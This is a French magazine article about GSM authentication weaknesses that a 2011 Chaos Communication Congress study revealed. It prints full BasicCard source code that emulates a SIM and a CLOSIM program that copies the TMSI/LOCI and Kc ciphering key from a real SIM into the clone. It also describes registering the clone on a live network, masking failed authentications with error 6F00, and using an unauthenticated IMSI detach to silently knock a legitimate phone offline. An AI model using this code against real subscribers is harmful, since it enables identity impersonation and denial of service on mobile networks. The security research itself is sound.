Comment nous avons perdu 230 euros chez CJ Affiliate (Conversant)




[accueil]  [menu]  [suivez-nous !]  [chercher]

Faille de sécurité des réseaux GSM ? Vérifions !

A en croire des experts allemands, certaines faiblesses chroniques des réseaux de téléphonie mobile seraient aujourd'hui plus faciles que jamais à exploiter, élucidant au passage bien des cas d'écoutes illégales ou d'usurpation d'identité. Votre opérateur applique-t-il des parades efficaces ? Êtes-vous personnellement vulnérable ? Voici comment en avoir le cœur net, grâce à une démonstration ne nécessitant que fort peu de moyens.

Une authentification intermittente ?
Authentification et cryptage sont les deux piliers de la sécurité du système GSM, et reposent en grande partie sur des fonctionnalités partagées entre les réseaux et les cartes SIM. Les mettre en défaut permettrait, en théorie, aussi bien d'intercepter des communications que de passer des appels ou envoyer des SMS en se faisant passer pour quelqu'un d'autre. Ce serait grave, y compris pour certains systèmes de paiement !
Les moyens de piratage se perfectionnant apparemment plus vite que les réseaux, certaines failles de sécurité présentes depuis l'origine dans les spécifications (peut-être même volontairement ?) deviennent de moins en moins difficiles à exploiter, car il existe désormais des outils spécifiquement conçus à cet effet.
Des journalistes peu scrupuleux qui procèdent à des écoutes illicites, des escrocs qui se font envoyer des SMS surtaxés aux frais d'innocentes victimes, des petits malins qui neutralisent à distance le mobile de leur choix pour l'empêcher de sonner, rien de tout cela n'est hélas imaginaire...
Lors du 28e Chaos Communication Congress qui s'est tenu à Berlin du 27 au 30 décembre 2011, une présentation de Karsten Nohl (Security Research Labs) a visiblement fait froid dans le dos, aussitôt relayée par les principaux médias.
A la base, il s'agissait de présenter les résultats d'une campagne de tests menée sur les réseaux d'une trentaine d'opérateurs mobiles dans une douzaine de pays, dont la France : une centaine de tentatives de mise en défaut de la sécurité à chaque fois, ce qui est déjà suffisant pour dresser des statistiques comparatives.
Le jeu consistait surtout à évaluer la pertinence des moyens déployés par les opérateurs pour colmater des brèches connues depuis pas loin de vingt ans. Visiblement, certains n'ont rien fait, ou si peu...
Ainsi, alors qu'en France la proportion d'appels bénéficiant d'une authentification en bonne et due forme avoisinerait 99 % chez le meilleur opérateur, elle serait carrément de zéro en Suisse pour le plus négligent !
Il faut dire que si l'inscription initiale d'un mobile sur un réseau donne systématiquement lieu à une authentification cryptographique (exécution d'une commande RUN GSM ALGORITHM au niveau de la carte SIM), la suite des événements peut se dérouler d'une façon bien plus laxiste. Si l'identité temporaire (TMSI) et la clef de cryptage (Kc) venaient à tomber entre les mains d'un pirate (qui les extraierait par exemple de la transmission radio), cela suffirait à celui-ci pour accéder au réseau en se faisant passer pour l'utilisateur légitime de la carte SIM ! Seulement jusqu'à la prochaine demande d'authentification, cependant, ce qui fait que la véritable sécurité dépend étroitement des conditions selon lesquelles chaque opérateur décide d'appliquer (ou non) cette précaution élémentaire mais gourmande en ressources informatiques et en autonomie de batterie.
Dès 2001 (Pirates Mag' 10), nous expliquions comment faire de petites farces aux réseaux peu sécurisés, en copiant simplement un fichier (LOCI) d'une vraie carte SIM dans une autre, fût-elle périmée ou même étrangère. A l'époque, les réseaux français n'étant déjà pas si mal protégés, nous n'en avions tiré aucune conclusion alarmiste. Mais il faut dire que les moyens techniques des pirates n'arrivaient pas à la cheville de ceux d'aujourd'hui...
L'étude qui vient d'être présentée a le grand mérite de révéler que certains opérateurs auraient de gros progrès à faire de toute urgence, car l'adversité n'est pas restée les bras croisés en attendant !

Des expériences simples
Si le processus de test évoqué par le conférencier ne nécessite pas de moyens techniques vraiment coûteux, il est en revanche assez ardu et peu documenté. Hors de portée, en tout cas, du simple utilisateur de téléphone mobile cherchant à évaluer facilement la sécurité offerte par l'opérateur dont il est client.
Nous allons y remédier de ce pas, avec un attirail très simple basé une fois de plus sur la BasicCard.
Les versions Professional (ZC 5.4 et ZC 5.5) étant capables de fonctionner en protocole T=0, un peu de programmation en ZCBasic suffit pour les « déguiser », et ce ne sont là que deux exemples, en cartes Vitale ou en cartes SIM ! Déguiser seulement, car leur faire émuler des fonctionnalités sécuritaires confidentielles et des clefs cryptographiques véritablement secrètes serait une toute autre paire de manches...
D'innombrables essais nous ont permis de déterminer que pour qu'une BasicCard insérée dans un téléphone portable puisse lancer convenablement une « session GSM », il était nécessaire et suffisant d'émuler très sommairement les commandes suivantes :

- SELECT
- GET RESPONSE
- STATUS
- RUN GSM ALGORITHM
- SLEEP
- SEEK
- INCREASE
- INVALIDATE
- REHABILITATE
- READ BINARY
- UPDATE BINARY
- Toutes les commandes de gestion des codes PIN.

Il convient aussi de créer au minimum les fichiers suivants :

2FE2 (ICCID)
6F05 (LP, Language preference)
6F07 (IMSI, International Mobile Subscriber Indentity)
6F20 (Kc, Ciphering Key)
6F30 (PLMN, Preferred PLMNs)
6F31 (HPLMN search period)
6F38 (SST, SIM Service Table)
6F74 (BCCH, Broadcast Control Channels)
6F78 (ACC, Access Control Class)
6F7B (FPLMN, Forbidden PLMNs)
6F7E (LOCI, Location Information)
6FAD (AD, Administrative Data)
6FAE (Phase)

Cela, en suivant d'abord fidèlement la spécification GSM 11.11, puis en y faisant quelques entorses soigneusement étudiées pour parvenir à nos fins très particulières.

Declare ApplicationID="MiniSIM"
REM (c)2001,2011 Patrick GUEULLE
Declare Binary ATR=&H3B,&HF2,&H11,&H00,&HFF,&H40,&H80,&H90,&H00,&H01
Public T$ As String=CHR$(&H3F)+CHR$(&H00)
Public R$ As String
Public Size As Integer
Function AscW(W$) As Byte
Private B$ As String*1 At AscW
B$=Left$(W$,1)
End Function
Public ST$ As String*34=&H00,&H00,&H00,&HB7, _
&H3F,&H00,&H01,&H00,&H0F,&H44,&HFF,&H01,&H15,&H91,&H03,&H01, _
&H06,&H00,&H83,&H8A,&H83,&H8A,&H00,&H8A,&H00,&H00,&H8A,&H00, _
&H00,&H00,&H00,&H00,&H00,&H00
EEPROM RT$ As String*34=&H00,&H00,&H00,&HB7, _
&H3F,&H00,&H01,&H00,&H0F,&H44,&HFF,&H01,&H15,&H91,&H03,&H01, _
&H06,&H00,&H83,&H8A,&H83,&H8A,&H00,&H8A,&H00,&H00,&H8A,&H00, _
&H00,&H00,&H00,&H00,&H00,&H00
EEPROM GSM$ As String*34=&H00,&H00,&H00,&HB7, _
&H7F,&H20,&H02,&H00,&H0F,&H44,&HFF,&H01,&H15,&H91,&H00,&H0C, _
&H06,&H00,&H83,&H8A,&H83,&H8A,&H00,&H8A,&H00,&H00,&H8A,&H00, _
&H00,&H00,&H00,&H00,&H00,&H00
EEPROM DCS$ As String*34=&H00,&H00,&H00,&HB7, _
&H7F,&H21,&H02,&H00,&H0F,&H44,&HFF,&H01,&H15,&H91,&H00,&H0C, _
&H06,&H00,&H83,&H8A,&H83,&H8A,&H00,&H8A,&H00,&H00,&H8A,&H00, _
&H00,&H00,&H00,&H00,&H00,&H00
EEPROM TELEC$ As String*34=&H00,&H00,&H00,&HB7, _
&H7F,&H10,&H02,&H00,&H0F,&H44,&HFF,&H01,&H15,&H91,&H00,&H00, _
&H06,&H00,&H83,&H8A,&H83,&H8A,&H00,&H8A,&H00,&H00,&H8A,&H00, _
&H00,&H00,&H00,&H00,&H00,&H00
EEPROM ICCID$ As String*25=&H80,&H90,&H01,&H02, _
&H03,&H04,&H05,&H06,&H07,&HF2, _
&H00,&H00,&H00,&H0A, _
&H2F,&HE2,&H04,&H00,&H0F,&HF4,&H44,&H01,&H02,&H00,&H00
EEPROM IMSI$ As String*24=&H08,&H09,&H10,&H10, _
&H00,&H00,&H00,&H00,&H00, _
&H00,&H00,&H00,&H09, _
&H6F,&H07,&H04,&H00,&H14,&HF4,&H14,&H03,&H02,&H00,&H00
EEPROM SST$ As String*19=&H00,&H00,&H00,&H00, _
&H00,&H00,&H00,&H04, _
&H6F,&H38,&H04,&H00,&H14,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM CLA$ As String*17=&H00,&H40, _
&H00,&H00,&H00,&H02, _
&H6F,&H78,&H04,&H00,&H14,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM AD$ As String*20=&H81,&H00,&H00,&H00,&H00, _
&H00,&H00,&H00,&H05, _
&H6F,&HAD,&H04,&H00,&H04,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM PHA$ As String*16=&H02, _
&H00,&H00,&H00,&H01, _
&H6F,&HAE,&H04,&H00,&H04,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM HPLMN$ As String*16=&HFF, _
&H00,&H00,&H00,&H01, _
&H6F,&H31,&H04,&H00,&H14,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM LOCI$ As String*26=&HFF,&HFF,&HFF,&HFF, _
&H00,&HF1,&H10,&H00,&H00,&HFF,&H01, _
&H00,&H00,&H00,&H0B, _
&H6F,&H7E,&H04,&H00,&H11,&HF4,&H14,&H03,&H02,&H00,&H00
EEPROM PLMN$ As String*63=&H00,&HF1,&H10,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF, _
&H00,&H00,&H00,&H30, _
&H6F,&H30,&H04,&H00,&H11,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM LP$ As String*19=&H03,&H01,&H00,&HFF, _
&H00,&H00,&H00,&H04, _
&H6F,&H05,&H04,&H00,&H01,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM KC$ As String*24=0,0,0,0,0,0,0,0,&H07, _
&H00,&H00,&H00,&H09, _
&H6F,&H20,&H04,&H00,&H11,&HF4,&H44,&H03,&H02,&H00,&H00
EEPROM BCCH$ As String*31=&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&H00,&H00,&H00,&H10, _
&H6F,&H74,&H04,&H00,&H11,&HF4,&H44,&H03,&H02,&H00,&H00
Public FPLMN$ As String*27=&HFF,&HFF,&HFF,&HFF, _
&HFF,&HFF,&HFF,&HFF,&HFF,&HFF,&HFF,&HFF, _
&H00,&H00,&H00,&H0C, _
&H6F,&H7B,&H04,&H00,&H11,&HF4,&H44,&H03,&H02,&H00,&H00
Command &HA0 &HA4 SEL(S$,Disable Le)
T$=S$:SW1SW2=&H9404
IF T$=CHR$(&H3F)+CHR$(&H00) THEN SW1SW2=&H9F22:R$=RT$:ST$=R$
IF T$=CHR$(&H7F)+CHR$(&H20) THEN SW1SW2=&H9F22:R$=GSM$:ST$=R$
IF T$=CHR$(&H7F)+CHR$(&H21) THEN SW1SW2=&H9F22:R$=DCS$:ST$=R$
IF T$=CHR$(&H7F)+CHR$(&H10) THEN SW1SW2=&H9F22:R$=TELEC$:ST$=R$
IF T$=CHR$(&H2F)+CHR$(&HE2) THEN SW1SW2=&H9F0F:R$=RIGHT$(ICCID$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H07) THEN SW1SW2=&H9F0F:R$=RIGHT$(IMSI$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H38) THEN SW1SW2=&H9F0F:R$=RIGHT$(SST$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H78) THEN SW1SW2=&H9F0F:R$=RIGHT$(CLA$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&HAD) THEN SW1SW2=&H9F0F:R$=RIGHT$(AD$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&HAE) THEN SW1SW2=&H9F0F:R$=RIGHT$(PHA$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H31) THEN SW1SW2=&H9F0F:R$=RIGHT$(HPLMN$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H7E) THEN SW1SW2=&H9F0F:R$=RIGHT$(LOCI$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H7B) THEN SW1SW2=&H9F0F:R$=RIGHT$(FPLMN$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H30) THEN SW1SW2=&H9F0F:R$=RIGHT$(PLMN$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H05) THEN SW1SW2=&H9F0F:R$=RIGHT$(LP$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H20) THEN SW1SW2=&H9F0F:R$=RIGHT$(KC$,&H0F)
IF T$=CHR$(&H6F)+CHR$(&H74) THEN SW1SW2=&H9F0F:R$=RIGHT$(BCCH$,&H0F)
Size=ASCW(MID$(R$,4,1))+256*ASCW(MID$(R$,3,1))
IF SW1SW2=&H9404 THEN R$=RT$
End Command
Command &HA0 &HC0 RESP(Lc=0,S$)
S$=MID$(R$,P1P2+1,Le)
End Command
Command &HA0 &HF2 STAT(Lc=0,S$)
S$=MID$(ST$,P1P2+1,Le)
End Command
Command &HA0 &H88 RUN(S$,Disable Le)
SW1SW2=&H6F00
End Command
Command &HA0 &H20 VCHV(S$,Disable Le)
End Command
Command &HA0 &H24 CCHV(S$,Disable Le)
End Command
Command &HA0 &H26 DCHV(S$,Disable Le)
End Command
Command &HA0 &H28 ECHV(S$,Disable Le)
End Command
Command &HA0 &H2C UCHV(S$,Disable Le)
End Command
Command &HA0 &HFA SLEEP(S$)
S$=""
End Command
Command &HA0 &HA2 SK(S$,Disable Le)
SW1SW2=&H9404
End Command
Command &HA0 &H32 INC(S$,Disable Le)
SW1SW2=&H9850
End Command
Command &HA0 &H04 INVAL(S$,Disable Le)
SW1SW2=&H9802
End Command
Command &HA0 &H44 REHAB(S$,Disable Le)
SW1SW2=&H9802
End Command
Command &HA0 &HB0 RBIN(Lc=0,S$)
IF Le>Size THEN SW1SW2=&H6700:Exit
IF T$=CHR$(&H2F)+CHR$(&HE2) THEN S$=MID$(ICCID$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H07) THEN S$=MID$(IMSI$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H38) THEN S$=MID$(SST$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H78) THEN S$=MID$(CLA$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&HAD) THEN S$=MID$(AD$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&HAE) THEN S$=MID$(PHA$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H31) THEN S$=MID$(HPLMN$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H7E) THEN S$=MID$(LOCI$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H7B) THEN S$=MID$(FPLMN$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H30) THEN S$=MID$(PLMN$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H05) THEN S$=MID$(LP$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H20) THEN S$=MID$(KC$,P1P2+1,Le)
IF T$=CHR$(&H6F)+CHR$(&H74) THEN S$=MID$(BCCH$,P1P2+1,Le)
End Command
Command &HA0 &HD6 UBIN(S$,Disable Le)
IF Le+P1P2>Size THEN SW1SW2=&H6700:Exit
IF T$=CHR$(&H2F)+CHR$(&HE2) THEN MID$(ICCID$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H07) THEN MID$(IMSI$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H38) THEN MID$(SST$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H78) THEN MID$(CLA$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&HAD) THEN MID$(AD$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&HAE) THEN MID$(PHA$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H31) THEN MID$(HPLMN$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H7E) THEN MID$(LOCI$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H7B) THEN MID$(FPLMN$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H30) THEN MID$(PLMN$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H05) THEN MID$(LP$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H20) THEN MID$(KC$,P1P2+1,Lc)=S$
IF T$=CHR$(&H6F)+CHR$(&H74) THEN MID$(BCCH$,P1P2+1,Lc)=S$
End Command


Ce programme MSIM.BAS étant compilé avec le kit BasicCard (gratuit) puis chargé dans une ZC 5.4 ou une ZC 5.5 au moyen de n'importe quel lecteur PC/SC, la carte SIM ainsi créée sera reconnue en tant que carte de test, ses identifiants n'usurpant en aucune façon ceux d'un opérateur existant ou d'un de ses clients. Elle sera même acceptée, en principe, par tout mobile « simlocké » ou non !
Pas question, dans l'état actuel des choses, de téléphoner avec cette carte car aucun nom d'opérateur ne va s'afficher sur l'écran, mais le menu du téléphone devrait être accessible, avec des fonctionnalités réduites (pas de répertoire de numéros ni de boîtes à SMS).

#include CARDUTIL.DEF
#include COMMERR.DEF
Declare Command &HA0 &HA4 SL(S$,Disable Le)
Declare Command &HA0 &HB0 RD(S$)
Declare Command &HA0 &HD6 WR(S$,Disable Le)
ComPort=101
Public LOCI$ As String
Public Kc$ As String
CLS:Print:Print"LECTURE DE LA CARTE SIM"
Call WaitForCard
ResetCard:Call CheckSW1SW2:Print
Call SL(CHR$(&H3F)+CHR$(&H00))
IF SW1<>&H9F Then Print"PAS UNE SIM !":EXIT
Print"Lecture de LOCI ";
Call SL(CHR$(&H3F)+CHR$(&H00))
Call SL(CHR$(&H7F)+CHR$(&H20))
Call SL(CHR$(&H6F)+CHR$(&H7E))
S$="":S=RD(S$,Le=11):Call CheckSW1SW2
LOCI$=S$:Print
Print"Lecture de Kc ";
Call SL(CHR$(&H3F)+CHR$(&H00))
Call SL(CHR$(&H7F)+CHR$(&H20))
Call SL(CHR$(&H6F)+CHR$(&H20))
S$="":S=RD(S$,Le=9):Call CheckSW1SW2
Kc$=S$:Print
Print:Call WaitForNoCard
Print:Print"RECOPIE"
Call WaitForCard
ResetCard:Call CheckSW1SW2:Print
Print"Ecriture de LOCI ";
S$=LOCI$
Call SL(CHR$(&H3F)+CHR$(&H00))
Call SL(CHR$(&H7F)+CHR$(&H20))
Call SL(CHR$(&H6F)+CHR$(&H7E))
Call WR(S$):Call CheckSW1SW2:Print
Print"Ecriture de Kc ";
S$=Kc$
Call SL(CHR$(&H3F)+CHR$(&H00))
Call SL(CHR$(&H7F)+CHR$(&H20))
Call SL(CHR$(&H6F)+CHR$(&H20))
Call WR(S$):Call CheckSW1SW2:Print
Print
Call WaitForNoCard
REM (c)2001, 2011 Patrick GUEULLE

Mais entrons dans le vif du sujet avec ce programme CLOSIM.BAS, ou plus exactement avec sa version compilée CLOSIM.EXE, un exécutable compatible avec les principales versions de Windows.
Sa seule fonction consiste à lire les fichiers LOCI (où réside l'identité temporaire TMSI) et Kc dans une carte SIM « légitime » venant tout juste d'être retirée d'un téléphone qui était correctement inscrit sur un réseau, puis à les recopier dans la carte de test. Il va maintenant s'agir d'insérer (sans attendre) ce « clone » grossier dans un autre téléphone GSM, et d'observer attentivement ce qui va se produire.

Des exemples vécus !
En toute rigueur, il ne devrait rien se passer de spectaculaire, bien qu'un dialogue transparent pour l'utilisateur s'instaure automatiquement entre le mobile et le réseau. C'est effectivement ce que nous avons constaté avec les cartes SIM de deux opérateurs virtuels (MVNO) utilisant le réseau de Bouygues Telecom, et aussi avec celle d'un opérateur belge considéré comme « faiblement sécurisé », mais testée en roaming sur les trois réseaux GSM français. Faut-il en déduire que les réseaux « hôtes » se méfient, et prennent plutôt davantage de précautions qu'avec leurs propres clients ? Pas du tout invraisemblable s'ils ont déjà eu quelques mauvaises surprises...
Mais il en va tout autrement avec une carte (là encore prépayée) de l'opérateur français jugé le moins sécurisé par l'étude allemande : le nom du réseau s'affiche au bout de quelques secondes, indiquant sans équivoque que l'inscription a réussi ! Cette situation (parfaitement anormale...) peut se prolonger assez longtemps, au moins jusqu'à la prochaine authentification déclenchée à l'initiative du réseau.
Si la BasicCard était programmée pour y répondre par l'habituel groupe (nécessairement erroné) de 12 octets, le mobile se trouverait promptement désinscrit du réseau dès que l'on tenterait de l'appeler ou de lui envoyer un SMS, ou naturellement si l'on cherchait à s'en servir pour téléphoner. Pas de doute, le réseau identifie bien la carte par son identité temporaire (puisque son IMSI est factice !), mais il l'authentifie soigneusement avant chaque (?) opération « sensible ».
Craignant (non sans raisons...) que de tels échecs d'authentification soient trop vite repérés, nous avons préféré renvoyer un compte-rendu d'erreur technique « indéterminée » (6F 00). Celui-là même que les vraies cartes SIM retournent quand on leur a demandé un trop grand nombre d'authentifications, par exemple lors de tentatives d'extraction « par force brute » de la clef secrète Ki utilisée en interne par l'algorithme GSM.
Il n'empêche qu'au bout d'un certain nombre de tentatives, le réseau se met parfois à rechercher le mobile non plus à partir de son identité temporaire (TMSI paging), mais en diffusant tout bonnement son identifiant confidentiel (IMSI paging). Un signe qu'il commence probablement à se douter de quelque chose, donc, mais pas forcément une riche idée d'un strict point de vue sécuritaire !

Une bonne blague !
Pourtant, il y a tout de même un moyen de prendre le système en défaut sans courir trop de risques ! Remettons en route le mobile muni de la carte SIM légitime, laissons le s'inscrire, et assurons nous qu'il fonctionne normalement. Bizarrement, le mobile contenant la carte de test ne se désinscrit pas. Le réseau serait-il donc incapable de se rendre compte que deux cartes SIM rattachées à un même numéro sont inscrites en même temps, et qui plus est dans la même « zone locale » ?
Eteignons maintenant « proprement » le mobile contenant la BasicCard, vérifions que le nom du réseau est toujours affiché sur le téléphone légitime, puis appelons-le : eh bien, l'appel ne va pas aboutir, ou alors sur la messagerie !
L'explication est simple : on sait que lors d'un arrêt « propre » (et non pas en retirant la batterie...), un GSM bien élevé prend congé du réseau par une procédure baptisée IMSI detach, or celle-ci se fait de façon non authentifiée ! Un téléphone légitime a donc carrément été évincé du réseau à l'insu de son utilisateur, mais dès qu'il tentera de passer un appel il sera de nouveau identifié, authentifié, et par conséquent réinscrit. Un joli point faible, tout de même, mais bien anodin en comparaison de ce qui pourrait être fait sur un réseau qui n'authentifierait pas la carte SIM avant chaque appel émis ou reçu... Rassurons-nous, cela n'arrive évidemment qu'aux autres !
Patrick Gueulle

Tous les ouvrages de l'auteur




Vous voulez soutenir une information indépendante ? Rejoignez notre Club privé !


[homepage]  [RSS]  [archives]
[contact & legal & cookies]  [since 1997]